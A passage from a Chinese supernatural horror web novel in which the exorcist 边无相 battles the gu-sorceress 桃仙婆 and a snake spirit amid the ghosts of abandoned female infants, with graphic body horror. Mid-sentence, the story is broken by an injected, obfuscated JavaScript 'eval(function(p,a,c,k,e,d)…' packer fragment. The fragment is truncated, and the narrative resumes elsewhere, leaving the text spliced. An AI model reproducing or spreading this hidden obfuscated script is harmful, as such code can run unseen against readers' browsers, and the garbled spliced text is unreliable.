女人一边说着,一边将自己的衣服一侧打开来,边无相这才注意到,女人的衣服并非薄薄一层,原本的那一层被斜着一分为二,那一层的外面又缝了一层,只是齐胸口,没有那么齐整。 线脚也乱七八糟的,但也看得出是用心的,那些白的花的线一对缠着一对,交错着纫在一起,时不时多缝两下,针尖线腿毫无章法。 女婴被女人,裹在了衣服里边,在别人看来,那衣服大敞着,外面那一层布料垂下去,女人就这么用手一下一下拍着那布料,小调又从嘴里哼了出来。 “好娃娃要睡觉,妈妈拍拍背,娃娃闭眼睛。” 女人一下一下拍着那女婴,边无相看着那女婴的脸,和刚刚那个一样,同样也有一层面皮薄薄的覆在上面,表情慢慢平和下来,逐渐安稳下去。 他挪开了眼神,才看见整个偏殿几乎都是女婴,那些孩子大部分毫无生气,还有一部分周身裹着黑气,凡是还有点灵的,心中有执念,有恨放不下的,那些黑气都将她们死死裹着。 还有一些女婴,尽管周身裹着白,但那都是些白色塑料布或白色的纸团子纸团子,将娃娃的身体整个都屈起来,手脚都并在胸前,几乎要把骨头折掉,打包进那白团子里,面容痛苦,或胸腔内的啼哭声不断,或身与魂俱死俱苍白。 那些白都蒙尘了。 边无相心中暗叹一口气,想来是个麻烦事,又把目光回到女人身上。 女人这次的气息和刚刚很不一样,边无相的耳边又响起刚刚听到的那些话,让死胎复活恐怕就是这层无名气息的由来。 只是真的是复活吗? 真的是死胎吗? 恐怕不见得。 4. 诡庙女婴(二) 那道声音又来了,如是蛇一般,边无相的人走不开,神识几乎与女人同在,那个声音绕着女人: “今天是最后一天,这些女婴我可就拿来用了。” 女人的眉心似乎狠狠一跳,沉默半晌,却还是开口:“是,只是这真的能成吗?” “没有什么能不能成的,只有一定能成,这天底下,还没有我桃仙婆办不成的事情!”那道声音随着这句话的落下,原本什么都不见的气都被整张揭下,慢慢露出人脸来,接着是手脚。 那是一张被火焚烧而尽的脸,脸上沟沟壑壑,又满是疤痕,几乎整张脸都发红发灼,一只眼睛格外的亮,另一只眼睛却因为烧伤严重,连眼皮都粘连在一起,只露出小半个角来,那污浊的,黑白不分明的眼珠子就在小半角里,总感觉像在打量着什么。 打量人吗? 不。 边无相企图将自己的神识潜入那所谓桃神婆的体内,只是刚准备这么做,那桃神婆似乎念念有词:“我可不是什么桃神婆,是桃仙婆。” 边无相的眼下几乎狠狠一跳,额头上直冒冷汗,但很快又将心平静下来,莫非这个仙婆知道自己的存在?这仙婆又是什么来历? 边无相这样想就越坐不住,可转头一看那刘村长,只能发狠咬牙,继续守着,实在守不住再过去看好了,都说赶早,也不如赶巧。 桃仙婆将那滚圆的女人打量了一通又一通,那张嘴不停叨叨着:“好,真是好极了。” 女人半低下头,将刚刚的女婴放回到床榻上,将衣服重新系住:“什么?” 桃仙婆笑了笑,热切地走上前去,看似亲密地把女人的两只手合在自己的掌心里,却控制着那女人,让她半天不得动弹。 不仅仅是手,她整个人都不得动弹。 女人心下也有些发虚,心里想着这人怎么和往常不一样。 桃仙婆笑得露出几颗不齐整的黄牙来,一些牙齿不齐就算了,黄褐色的还散发着阵阵奇臭,一嘴牙看着都酸软无比。 “你心里有鬼?” 仙婆脸上笑着,可眼底里却让人阵阵发寒,女人觉得自己背后的皮都像是被无形的手给抽住了,果然,做人不能太聪明,还是傻着吧。 于是女人又开始傻笑起来,四下张望着还有哪个婴儿没有被拍睡着。 “这就对了,法术心诚则灵,你的心若是不诚,那我的法术就灵不起来。” “什么是心诚则灵?” 女人傻笑着,一边同桃仙婆说话,一边远远对着墙角的一个女婴做鬼脸逗笑,两只手高举过头顶,像是爪子一般朝天而放,一下一下地画圆,嘴里不时弹一弹舌头:“娃娃怎么还不睡呀?不是想妈妈呀?” 桃仙婆面容冷笑,声音霎时压低了下去,整个人又化成了气,只不过是片刻,从那女人的七窍里面窜了进去。 刚刚还在笑着逗小婴儿的女人一瞬间,面容可怕,痴傻的脸庞上似乎还有灼伤的痕迹,两只对外斜视的眼睛逐渐聚焦,像是饿虎盯着猎物一般,死死地盯着那个小婴儿。 只是眨眼时间,这女人就托着滚圆的身子冲上前去,样貌可怖,面目狰狞,行动却格外迅捷,一点都看不出是怀了死胎的人。 更不符合这身浑圆的气质。 小婴儿被吓得哇哇大哭,仙婆这才得意地笑出声来:“哈哈哈哈,说什么母爱?你们这些小孩只会成为我的交易,那可不是你们亲生的妈妈,那是——哦,不对。” 仙婆潜藏在女人的皮囊里,一下子换了个口气,脸上笑盈盈的,连同语气也柔和了许多:“我可不是你们的亲生妈妈,你们哪能见人呢?但我要和大人一起把你们卖掉,你们可是我最有利的筹码——” 婴儿哇哇大哭,惊动了别的婴儿,一时间,偏殿里哭声四震。 “哇哇——” 这些婴儿们都是些鬼魂了,即便流泪也是流不出来的,这样也算不得哭,只是哀嚎罢了,若不是那疯女人心中有情,也不会心下自想着眼泪落了要哄,娃娃困了要拍。 桃仙婆依旧借着女人的皮囊,眉头死死皱在一起,眼睛里冒出凶光来,厚嘴唇咧着张着,满脸的肉露出纹来,模样格外可怕:“哭!哭什么哭!爱哭就把你们喂了豺狼!” 边无相实在是坐不住了,刘村长大概是睡过去了,瞧着他整个人都倒在地上,动也不动,呼吸还算均匀——呼噜声也还算大。 便蹑手蹑脚走了出去,直接去了偏殿,刚刚那个痴傻的女人现在一脸精明:“你终于来了?” 边无相没有给她正眼,目光先看了看四周,比起刚刚神识看的,现在他亲自来看,明显要更可怕得多—— 神识看得那些都是经过美化后的,这里遍地都是女婴,不,确切来说,这里遍地都是被蜷缩着包起来的团,只有少数是就可以瞧见的女婴儿。 那些直接可以瞧见的婴儿抛开魂与灵不谈,只看着本体,用人的肉眼来看,一个个双目紧闭,脸上头上都皱巴巴的,有的胎膜都还没下,皮子一层一层像是泡了水,又泛黄又泛黑。 嘴上要么被捆了绳子,要么就被用胶带粘起来,有用透明胶带的,也有用强力胶裹了几圈的,连啼哭声都不许发出来。 还有一些女婴,嘴里边被塞了东西,想来作用也是一样的。 桃仙婆借着女人的身体,行动却格外自如,一屁股坐倒在地上,一把抱起了旁边的一个女婴:“连个正眼都不敢给我,年轻人的气性就是大啊。” 女婴脸上的皮肉还没有彻底消下去,干巴巴的早已经被虫蛀了几个窟窿,桃仙婆用那浑圆的手掐着女婴的脸蛋:“你和这个差不了多少。” “不过是毛头罢了。” 边无相垂下的手握了握拳,月光在他身后映出长长的影子。 “看你活的时间也够久了,不如想想怎么上路好了。” 边无相一边说着,一边闪身上去,从那女人的怀里夺过了女婴,才看见婴儿的脸上还挂着死去的蜘蛛,蜘蛛网在一边半垂着。 边无相道:“你这又是何必?你刚刚打量那个女人,这样拿她练蛊虫?” “算你有点见识,这人蛊可是蛊虫中的上品,是不该问的,你问太多了——” 桃仙婆一边说着,一边从自己的衣服里摸出了一把虫子来了,那些虫子嗡嗡作响,每一只都浑身漆黑,但眼睛却又红又亮,肚子和头都格外的大。 “不对!障眼法!” 边无相从自己腰间挎着的布包里取出菖蒲粉来,刚要闪身避躲,忽然脚步一顿,心下一阵毛骨悚然,将躲开的腿脚换了方向,几步登空而去,接着又一个翻身,将自己的身形重新站稳。 果不其然,那些虫子都是假的,真虫子早就埋伏上了,在他的斜后方等着他,他刚刚被那计迷住,整个人向后退,那虫子只需一弹跳,就能从他的裤腿下面钻进去,然后在皮肤上面凿出个洞来。 边无相不禁啐了一口口水:“好险恶的心!” 那些黑虫子睁眼就不见了,大概是不知什么时候收的虫子尸体,用那些尸体来做障眼,用尽了也就散了。 桃仙婆打了个响指,女人浑圆的手打得响指声有点闷,刚刚在地上的那三只虫子,一时之间纷纷兴奋了起来,浑身油亮发绿,身体格外细长,脑袋也格外长,金黄色点着红色的眼睛,就在正前方,前肢向上,后肢低压,那是在为弹跳做着准备。 边无相手中紧抓着那菖蒲,又从自己的布包里翻出绿豆来,用手轻轻捏住,书空了道符,一时之间,手中似乎有明火闪动,跳动的紫红色指缝里窜出去,将那菖蒲绿豆都烧成了粉。 一下全都撒在那三只虫子上,三只虫子有一只躲闪不及,发出一阵阵怪叫,也如同是小孩啼哭,大张着嘴,让人不禁后背发凉,只是那大张着的嘴里边,突然卷出一道长条来——一条长长的蛇信子。 发着暗紫色,颜色又沉,看上去又腻,沿着那条信子,很快就吐出了一摊摊汁水,些汁水金黄发亮,吐出来后又过了片刻,颜色逐渐红了下去,逐渐暗了下去,就像是有毒的血,臭味随之散发而来,仿佛是铁锈,又仿佛是放久了的恶水。 那些汁液很快就凝结在了地上,形成了小小的坎。 另外两只虫子朝着边无相弹跳而来,边无相念念有词,为自己画了个金刚保护罩,只是躲闪不及,倘若不是有罩子护着,恐怕被咬的就是他了。 那些蛊虫一只只都瞪大着眼,不知道究竟在看些什么,别和那女人一样是个两边斜的眼睛,不对—— 边无相本想把这个问题利用着,却忽然发现那些虫子似乎是用眼白来看东西的,倘若刚刚中了这个圈套,那恐怕连罩子都护不住自己。 就这么想着,他的掌心生出团火来,火的周围汗津津的,水珠细细密密地贴上去,亮红色的火焰看着都有些灼手。 到底是该给谁?直接砸在虫子身上吗? 边无相想起了那个女人的脸 ,脸上似乎有不少被灼伤的痕迹,于是,手中的火一下子转了方向,越过了那些虫子的半身,直直的向那个仙婆砸去。 仙婆一下瞪大了眼,从女人的身上脱离出来,发臭的口中恶狠狠骂道:“敢做这种丧心事!往人伤口上撒盐!” 一边说着,一边连连向后退去,把自己的其中一只胳膊抬起来格挡,一个闪身躲到了女人的身后,拽着女人的胳膊将自己护了个严严实实。 女人看着那火焰从自己的脸上穿过去,火球越来越大,将她的眼睛硬的格外发亮,瞳孔与眼白都映出来火的痕。 将她的皮肤都灼起来,幸好只是她多想,这火直直砸在了桃仙婆的身上,即便他躲在女人的身后,也没能逃得过火种。 一阵怪叫从她的口中发出,火焰很快就把她的这张脸烧焦了,原本被火烧尽的皮囊更是越发严重。 但与众人所想不同的是,这些火砸在她的皮囊上,居然慢慢烧出了一个大坑,火越来越大,皮囊发出吱吱啦啦的声音。 ——那只是张纸。 这是纸糊的! 边无相暗叫不好,刚那两只蛊虫,不知又去了哪里,四下张望再定睛一看,都在女人的身上,女人的腿已经破了皮,无疑是给那些蛊虫制造机会。 “不!” 边无相一个闪身,向前冲去,像那些蛊虫用叶子覆住了,一时之间,那些蛊虫叫声大响,似乎整座偏殿都在震。 女人紧张连连向后退去:“你是谁!” 她明明只看到了村长一个人进庙,这人到底是谁?边无相来不及和女人多解释,只是目光多扫了两下,最终定定地望着女人的肚子。 恐怕那连死胎都不是,刚刚那仙婆初入女人的身体格外自如,那只有一个可能性。 “你这肚子是小时候就大的?” 边无相心里边才冒了这个想法,就直接脱口问出来。 女人不敢再后退,两只胳膊向身后藏着,紧抓着后面的柜角:“和你有什么关系!” 边无相看着女人的反应,心下的那份猜测便越发的真。 女人肚子里面的根本不是死胎,这个想法在心中越发笃定,那个别有他物,也逐渐显现出来。 不,是逐渐显现出来,边无相嘴角扬了扬,露出一个邪笑来,他简直太笃定那个别有他物是什么了。 那两只蛊虫被边无相用酒一浇,口中一阵咒语翻飞,全都消失殆尽,彻底没了踪迹和生气。 边无相看着遍地的女婴,又看看所谓身怀死胎的女人,刚刚那张被焚烧的几乎满脸都是沟壑的脸皮原来不过是纸糊的东西,整个都被焚尽,完全没了踪迹。 只是这背后的到底是谁? “桃仙婆”吗? 心下正想着,忽然听见偏殿后面的帷幕窸窸窣窣一阵作响,和女人一模一样的女人就走了出来。 边无相也惊得往后退了一步,看看这个女人,又看看那个女人,两人长得别无二致,身形体貌都一样,一阵毛骨悚然的鸡皮疙瘩就蹿上了他的胳膊,从他的脑袋炸开了。 “娃娃不哭啊——” 走出来的女人怀里还抱着个小孩,不,应该叫鬼胎,不知道又是哪一年被丢弃的女婴。 女人轻轻晃着身子,轻轻晃着婴儿,慢慢走出来的步子,看上去反倒矜持,不像是痴傻的,边无相顿时觉得一阵天旋地转,脑袋向后一看,又看见了一个女人。 这个女人的肚子还没大起来,除了这一点,与那两个女人别无二致,他头上的冷汗慢慢滴落到了眼角。 接着又是一个转头,侧过身子一瞧,又是一个女人……不,一个女孩。 边无相看着那个女孩,女孩子矮矮小小的,瘦骨嶙峋,大眼睛眨巴着,塌鼻子厚嘴唇,和那些成年女人一样,都是向外斜视的两只眼睛。 女孩走到边无相的面前,每走一步,便发出一声踢踏,每走一步,她额头的大窟窿便随之越大,一步步下来,那窟窿越来越大,黏腻的鲜血,一点一点滴下去,接着那个窟窿,将她整个身体都化掉了,从黏腻的血液里爬出无数只小虫来。 那些小虫很快就要把偏殿的地给占满了,边无相一个翻身,踩到了窗台子上,接着又看见了一个小姑娘,这个小姑娘和刚刚那个小姑娘几乎一模一样,只是身体圆了很多,手指尖是圆的,脸是圆的,连脚都圆得不见脚踝。 “这……” 边无相皱起了眉头,这是古书上记载的一种幻境,在这个幻境里会藏着一个人的大半生,除非把这个人的心结给破掉,否则,身处诱饵做阵的那个人和被困住的人,都将永远出不来。 “呜呜……” 那个圆乎乎的小姑娘一边大哭着,一边蹲下身子,整个人像是只大河虾,月光浅浅打下去,她的身子越发透明。 边无相压了压心中的异动,这会儿还不能轻举妄动,否则恐怕对他们谁都不好。 那个小姑娘一边哭,一边抓着满地的虫子往嘴里塞,眼泪鼻涕都混到一起,眼皮都哭肿起来,整张脸被塞得更加圆乎,满嘴的虫子被她一边吐一边吃。 她在说什么? 边无相看着那个小姑娘,半天听不清楚到底在说些什么,小姑娘嘴里塞得满满当当,满嘴都是那些爬虫,吃进嘴里还有一些残肢在动。 “呜呜…我,我吃……” 有人逼她吃? 边无相看着女孩几乎塞满的嘴,那些虫子的身体里满是黑色的血液浓浆,女孩子的嘴也因此染成乌黑黑的。 那个小女孩吃的虫子越来越多,慢慢的,小女孩的脑袋上似乎破了个口子,紧接着,有许多白色如蛹状的东西,从头上破出来,就像是雨后冒出来的笋,噼啪噼啪,一阵撕裂声从中冒出,无数个白虫就这么从脑子里面弹了出去,身上还裹带着一些血浆。 小女孩的手向前伸着,整个人匍匐在地跪倒着,瘫趴着,脑袋里面都是虫子,接着脑袋就像是两层薄薄的皮纸,彻底瘪了下去,被虫子口中吐出的浓浆给灼化掉,然后是脖子,胸口,腿。 最后的最后,女孩伸长的胳膊也都冒出虫子去,那些虫子身上脑袋上还顶着点经脉,浑身带着点血,慢慢慢慢那些剩下的,经脉呀,血呀也都不见了,无数个白虫代替了黑虫,一团一团地组到一起,一只只都抱着彼此,不对,不是抱着。 边无相定睛一看,那些白虫子的下腹都有无数的小刺,这些小刺彼此粘连,扎透在它们之间,他们也借此合到一起,身腹下流出薄薄的一些白浆来。 一个纯白色的姑娘就这么塑出来了,只是那些白虫还在蠕动,整个人身都是白色的,没有任何生气,可“皮”在动,“鼻子”也在动,“手指尖”也在轻轻颤着。 肥大层叠的白色睫毛同样缓缓扑闪着,摇着坠着。 让人心中直发恶。 边无相将心中的不适感强压了下去,眼睛直勾勾盯着,只见刚刚那浑身白色的人逐渐变成了一个真的人,正是小姑娘。 这个小姑娘也正是那个疯女人。 疯女人见了小姑娘,就痴痴呆呆,傻傻地跑了过去:“你,你怎么和我以前长得一样样?” 另一个分明一样的疯女人见了小姑娘,矜持地走了过去,步子走得慢,嘴角还含着笑,只是眼底有些算计。 这疯女人可不疯。 边无相心下想着,大概这就是那个所谓的桃仙婆,手中刚抓了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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边无相朝着刚刚明显看上去更像疯女人的身影一看,那哪里是疯女人?不过又是纸糊的玩意罢了。 一时间天旋地转,边无相从胸中吐出一口浊气,目光下视,又瞧见了那个女婴。 小孩子的魂魄本就不稳,经不起摔打,何况年久日长,又没人供奉送点吃的,即便有疯女人照顾着,也不能稳固身形。 这么一踢打,魂魄便消散了去。 疯女人的身子忽然抽成两半,中间却如藕段一般粘连,无数的丝条沾染着鲜血,沾染着痛苦从中抽出。 不知道桃仙婆究竟有没有料到这个场面,面目愈发狰狞,整张脸就像是几个不同颜色的混在一起的恶水,不断地搅和搅和,见连五官都看不出来,面部越发扁平。 怪叫和怪笑从她的嗓子里冒出去,真正的疯女人却哭出了声,忍着撕裂的疼痛弯下腰去,已经消散得几乎什么都没有的女婴灵魂抱了起来,眼泪砸在自己的胳膊上,手上,一下一下晃着:“娃娃睡觉觉……” 桃仙婆占着女人的半个身子,一见女人这样做,便愈发不满,直接将左手松了下去,女人的怀里已经什么都没有了,疯女人却觉得自己还抱着那个孩子,一声惊呼,一个劲的想弯下腰,把那孩子抱起来。 可是四下张望,左看看,右看看,一个孩子都没有。 如同天塌了一般,嚎啕声就这么溢了出来。 一时也分不清究竟是从嘴里溢出来的,还是从眼睛里溢出来的。 女人半边身子不愿意起身,仍在四处寻找,可被桃仙婆占着的那半边却不愿意弯下腰,于是女人和自己扭打到了一起。 扯着自己的头发,撕着自己的脸皮,摁着自己的胳膊,把自己连连向后逼退,又不断向一旁冲去。 “我看你真是胆子大了,开始和我叫板了?” 桃仙婆一边说着,一边掐住了女人的脖子,同时,这也是掐住了她自己的脖子。 边无相又是一道符拍了上去,桃仙婆闪不及,被生生从女人的身体里拍了出来。 她的身上不知究竟套了多少张纸皮,被拍出来实在太猝不及防,她身上套着的那一层又一层的纸皮都撕裂开来,哗啦啦,哗啦啦,一层层作响。 “干什么!” 一层又一层纸皮的深处,无比漆黑的脸潜藏在其中,恶狠狠发问,却不等回答,就先狂笑起来。 边无相扶住了那个疯女人,但疯女人的记忆全在仙婆手里,不过是一个小小的法术,仙婆从自己的怀中掏出一个玻璃灯来,那个玻璃灯里面儿锁着疯女人之所以疯的魂魄。 只听“啪嚓”一声,那盏灯全然都碎了,疯女人意识恢复了起来,只是还不等恢复好,瞳孔就盯上了边无相。 在这个疯女人的记忆里,刚刚发生扭打的人正是眼前这个苍白的年轻人。 “就是你!” 疯女人一边说着,一边猛地向前冲去,刚没冲几步,她的眼神突然一空洞,整个人瘫倒在地,边无相又是一阵天旋地转,整个偏殿似乎都向下坠了一层。 连同着那个仙婆,连同无数的女婴,都坠到了偏殿的更下一层,这还是个些年都没有人来过的秘境。 边无相抬头一看,只见一只巨大的绿雕塑张牙舞爪,看着像蛇又像蟒。 眼神凶煞但不得动弹,口中含着的大概是它的元神,来不及边无相再多想,女人痛呼的声音就传进了耳朵里。 边无相一边后退着,一边警惕望向四周,直到最后,目光才终于定在了女人与仙婆身上。 女人整个人瘫倒在地,仙婆手里抓着一把生了锈的大剪刀,又拿着针线,脸上出奇的和蔼:“我答应过你,给你把死胎复活。” 女人的豆大汗珠从额头上落了下去:“是是,等我回去了一定多加供奉你……您,还有您说的神君。” 桃仙婆连声应下,神色上满是担忧,眼底里却露出一种贪婪来,本就三白的眼神越发明显。 边无相本想上前去,可刚刚那只似蛇如蟒的石像却动了。 一阵轰隆声作响,那只巨大的精怪缓缓行至了他的面前。 边无相仰头与那精怪恰好一对视,霎时就被吸进了另一个空间里。 像是那个精怪的内境。 边无相一边前行,一边张望,终于在一处低矮的洞穴里瞧见了一条绿蛇。 那条绿蛇一点点向前爬行,慢慢爬动着自己的身子。 越向前,人的样貌便一点点显露出来,周身的绿色皮肤上满是鳞片,可却随着越来越向前攀爬而逐渐消下去,到最后,连满身的绿色也消下去,彻底与常人无异。 边无相将符纸贴在那人身上,却奈何毫无用处,还险些被一个翻手风给掀飞了,由蛇精化成的妖女抱着胳膊,眼神满是不屑,眼尾高高上挑着。 “怎么?我还以为你有多大点能耐。” 边无相稳了稳自己的身形:“你和那个仙婆是什么关系!” “怎么?你难道没听过出马仙吗?哼!也对,”女人一边说着,一边缓缓踱着步子,原本还云淡风轻的面容,忽然狠戾起来:“你们这些明门正道,当然看不上我们这些歪门邪道——” 边无相皱着眉头:“是你逼的?” 女人终于停在了他的面前,眼神里的烈火几乎要灼烧殆尽:“少把责任怪罪到我!你们人心贪婪,可不是我们精怪能管得住的,我只不过开了一口价,保她这辈子可以成为第一蛊婆,她就应下了。” “那可是她自己答应的,你这年轻人,道行没多少,臆想揣测倒不少。” 女人话音刚落,只见她的嘴中吐出一条长长的舌头,那舌头如同麻绳,就要将边无相的脖子给勒起来。 边无相从自己的布包中取出了一把石榴籽,在空中一挥洒,便四处零落,成了一点点焚起火来的种子,其中一两颗种子险些擦到女人的舌面上。 女人却没有被这气势所吓到,转眼将舌头闪回到了自己的口腔中去,清秀的面容上,露出一个不将万物放眼底的笑来,轻易将唇角一勾,说出的话,更是让人心中生寒:“你这毛头小道,不要毁了我的道行,坏了我的好事!” 5. 诡庙女婴(三) 边无相看着面前的女人,额头一滴冷汗下来,突然意识到这是一场大局,他到底还是太年轻气盛,竟然中了这个圈套。 “到底是怕坏了谁的好事!” 边无相的眼神越发的直,盯着眼前的人,一动也不动,面前的女人发出哈哈的狂妄笑声:“那要看你认为我是谁了。” “说不定……我们是同一个人呢?” 女人的声音如同两道轨迹逐渐分化开来,声音是她原本的声音,只是要空灵许多,另外一道声音则是那桃仙婆的声音。 不对! 边无相的眉毛几乎拧在了一起,眼皮压得低低的,警惕的神色呼之欲出:“你把刘村长放哪去了!” 那道声音果然不加掩藏,三道声音从中分化出来,正是刘村长的声音。 只是那道声音极小,女人的声音极大,面皮也逐渐撕裂开来,先是女人的面皮,紧接着,皮肤开始溃烂发红,慢慢的,红肿的皮肤上烂了一个又一个的坑,这些坑渐渐垂下去,瘪下去,成了深色的皮。 彻底化成了刘村长的模样。 那道声音也是刘村长的:“当然在这里,边无相,早就听闻你有神通,各家各派都争着抢着要你,原来也不过如此。” 边无相的面容有些错愕:“什么?” 在他的印象中,没有哪个门派想要他,连他的亲生父母都将他小小年纪送到山上去,恨不得永世不相见。 只是神通的事情,倒略有耳闻,师父活着的时候也一直都叮嘱着自己:“你有神通的事情,万万不敢往外乱说,咱们自己知道就好了,不然总要有人盯上你。” 稚子时候的自己还有些张狂,总爱仗着自己有点神通,不把师父的话当回事,于是回头就遭着师傅两棍子。 再后来,挨打多了,也就没有再炫耀过什么了。 边无相把自己的神拉了回来,挑了挑眉:“你在说什么神通?我只不过会点算命打卦的小伎俩,混饭吃的玩意儿,干嘛说得那么神神鬼鬼?” “当真没有?” “刘村长”的容貌与声音又变了,又变成了那个仙婆,那个仙婆的脸上满是虫蚁,漆黑的虫蚁和被烧得火红的脸颊水泡让人看了都慎得慌。 只是这下桃仙婆的背后,顶着一条绿蛇,一条绿蛇想来,正是刚刚那个女人,只是怎么不维持人样了? 边无相将手中的符纸燃起来,朝着仙婆狠狠砸了过去,可脑内却不自觉想起来外面的场景:那个女人,还有“这个”仙婆。 来不及多想,只见边无相被无数的绿蛇团团包围,那仙婆也逐渐没了踪迹,反而变成了一个有着长长蛇尾的女人,女人吐着蛇信子:“我和你说过,不要坏了我的道行。” 边无相从布袋里抓出一柄银刀来,那刀极为锋利,刀尖处还闪着寒芒,刀柄处是古铜色的曲水纹,寒光一下子就映到了女人的眼睛,女人又吐出信子来:“你可不能怪我,我告诫过你这么多次,是你要这么逼我的。” 边无相皱着眉头四处张望,女人霎时不见踪影,反而让他心慌起来,这件事情要比他想象中的更难更大,他不知道这背后到底牵扯着什么。 他也从来不敢想象这背后到底牵扯着什么。 女人的身影在幻境中轮转极快,让人一时分不清究竟是女人,还是仙婆,还是刘村长。 无数婴儿的啼哭声又一次响起来,边无相看着周边又已然不同的环境,头稍稍一偏,又看见了那个疯女人。 这会儿的疯女人约莫着才十六七岁,看着也并不疯,走路的样子神情,看上去似乎对这里格外了解。 他身后也站着一个疯女人,这个疯女人对边无相说:“这是我回家的路,那天刚从学校回来。” 边无相接着往后看,那是一条十字路口,十字路口处来往的人并不是很多,正值大中午的时间,疯女人的背上看上去汗津津的,眼睛有些半眯着。 等等! 踩到了什么? 边无相目不转睛看着幻境中被疯女人踩到的草包,心下一沉,这仙婆可真是个心狠手辣的东西,不,已经不单单是心狠手辣了,这太阴邪了。 那个草包正是用草编的,先用叶子将里面的蛊虫包起来,然后再用狗尾巴草将那包起来的蛊虫拴上几下,直到确保这个草包不会将蛊虫漏出去,就会被蛊婆扔到十字路口处,目的是为了转移自己身上的厄运。 边无相看着幻境中的疯女人在一夜之后,突然便有些疯疯傻傻的意思了,两只眼睛开始越发不聚焦,口中经常喃喃自语。 走在街上,村口常坐着的那些人,口中都说:“肯定是触犯到了什么不该触犯的东西。” 这个消息在村子里游荡得太快,毕竟现在一夜之间出来的疯子,傻子实在不多,何况又是原本那么聪明伶俐的个姑娘。 是桃仙婆的把戏。 边无相简直太笃定了,不仅仅是因为先前在庙里边的事情。 何况还有刚刚,那个女人不是说了吗?那个什么桃仙婆,她的目的可不在成仙婆,她可是要成蛊婆的。 边无相接着又在幻境里往后看,身后的那个疯女人垂下泪来:“你知道的,这些穷山恶水的地方多少总会出些事情,我傻了,自然有人欺负我。” 边无相瞥了一眼身后的疯女人:“欺负你?你的家里人呢?” 疯女人眼泪一颗一颗滚着:“可不欺负我吗!无父无母的,连家里的老人都走了,我又是个痴痴傻傻的,谁不欺负我?” 幻境里突然冒出一个男人的脸来,只是那个男人的脸看得并不真切,边无相心下有了些揣测,如果真的是这样的话,那着实是太恶劣了,他之前的猜想也要跟着被推翻。 于是他的眉头又紧皱起来,但越皱眉,盯得越紧,看得越紧,他便越发觉得那不是男人的脸。 那就是桃仙婆的脸! 边无相着急地向后回头望去,那疯女人似乎还沉浸在其中:“你知道的,没有话语权的就是弱势,这种穷乡僻壤,越是弱势就越是人人可欺,无人倚靠。” 边无相摸着手中的银刀,心脏忽然砰跳起来,他有些想赌一下自己想的是否是正确的,但这似乎并不能支撑起他的代价。 幻境里面的画面依旧在过着,边无相咬咬牙,正当身后的疯女人不住自怨自艾,又不断怨天哭命的时候,将银刃狠狠地插向了她的胸口。 疯女人霎时消散下来,成了桃仙婆,桃仙婆又消散下来,变成了刘村长,刘村长一下子匍匐在地,背低低的压着,头下垂着,整个人一动不动。 边无相看着面前的景象,吞了吞口水,不应该是这样的,他的猜测应该是不错的,他的猜测一定是不错的! 刘村长慢慢将头抬了起来,嗓子里面仿佛厄了一口血:“就说……就说这是庙里的怪事……” 边无相握着银刃的手有些颤抖,还是一步一步走上前去,每一下脚步都显得那么沉重,越上前离那人就越近,整个人居高临下看着伏在地上的那个身影。 “还没玩够吗?” 边无相一边说着,一边将自己的手高高举了起来,鞋子踩着所谓刘村长的脊背,手中的银刃狠狠插了下去,却并没有拔出来,沿着那脊梁骨往后划去。 皮肉撕开的声音清晰入耳,刘村长的身体里一阵蠕动,一颗脑袋从脊背缝处钻了出来,边无相见状,立马将手中的刀子换了方向,沿着那脊梁骨又剖了回去。 刀尖正对着女人的后脑勺。 女人似乎并不惧怕,脑袋竟整个转了过去,面容格外平静,任由刀刃对着自己的鼻尖:“好刀。” 话音说着,她那纤长的信子就将刀刃裹了起来,一圈又一圈的缠着。 边无相将刀柄稳稳抓在手中:“你就不怕这一刀进了你的喉咙?” “桃仙婆。” 女人像是吃了一惊,但不过是眼角眉梢的细微表现,眉尾一挑,险些飘忽的目光又定了下来,很快又平静了下来:“她可没我这么大能耐。” 边无相勾了勾嘴唇:“你没这么大能耐?你若真没有这么大能耐,你就不会这么贪心,那条绿蛇不是都答应你让你成为第一蛊婆了吗?你现在又在干什么?” “你是说,桃仙婆作为我选的人,背叛了我?” 边无相将刀子往起一提,接着向,人的喉咙深处刺去:“是你背叛了你的仙家才对吧?” 女人实在没有料到边无相的蛮力竟如此之大,那绿蛇本和她说好的,会把他给自己牵制住,如今看来,什么狗屁仙家,看来也不过如此。 女人头又潜了下去,稍稍往后仰着,慢慢沉藏进了幻象构织而成的刘村长的躯体。 边无相的刀刃接着往下捅去,可那刀子却逐渐变软,越是往下,就慢慢碰到了女人的下牙齿,接着刀子就弹了起来,本以为会有些叮当声响,或者直刺进去,谁知道竟都化成了水,那些水还都被吞了进去。 可即便如此,即便那颗脑袋已经埋进了躯体里,可嘴依旧大张着,从小舌处开始,竟然攀出了几只虫子。 边无相几乎以迅雷不及掩耳之势向更后面撤去,这些虫子从女人的嘴里蹦了出来,边无相看着那虫子细长的身子,浑身发绿,绿色的更深层,却发着一种明黄,明黄色下面似乎有着格外浓重的浊气。 恐怕又是蛊虫。 边无相空画了符,布包里面的石榴和菖蒲都没多少了,皱眉想了想还是将所有的石榴与菖蒲都拿了出来,都倒在自己的葫芦瓶里,葫芦瓶被打开的那一下子,酒气四溢。 女人的脑袋又从那躯体里冒了出来:“真是好酒,想必用你这正派大道的骨头来泡,对我来说,一定是大补。” 边无相看着女人缓缓勾了勾手指,女人像是被惹怒了,那副躯体里钻了出来,猛地向前冲去:一颗头下面就是脖子,这与常人是无异的,可再往下面看,却是真切的蛇身。 边无相是预料到一般,整个人腾空而去,一脚便踩在了那蛇的身后七寸,一只手紧抓着蛇的尾巴:“桃仙婆,还想装到什么时候?” 仙婆见状却依旧嘴硬,变借着女人的皮囊又说道:“你抓了我,自然她也跑不了,身后的仙家都要死了,顶着仙家的人,又能好过到哪去?” “呵”,边无相嘴唇勾了勾,冷眼看着女人的后脑勺:“死了?即便是死了,也是你杀的,原来蛊婆连这点能耐都没有,还以为能练出什么惊人的蛊虫来。” 桃仙婆听了这话,可当真是坐不住了,只听一声如同是吐痰一般的声音响起,嗓子里仿佛有无数个沙点,蛇的身子壳便退了下去,女人的面皮从中间裂开一条缝,从中爬出了一个老人来。 老人的模样有些狼狈,身上几乎都是各种虫子的死尸,头顶上是虫子做的发饰,脖子上是虫子做的颈饰,皮肤苍老,上面有无数被火焚过的痕迹,站在那些痕迹之上,却涂着一层薄薄的虫油。 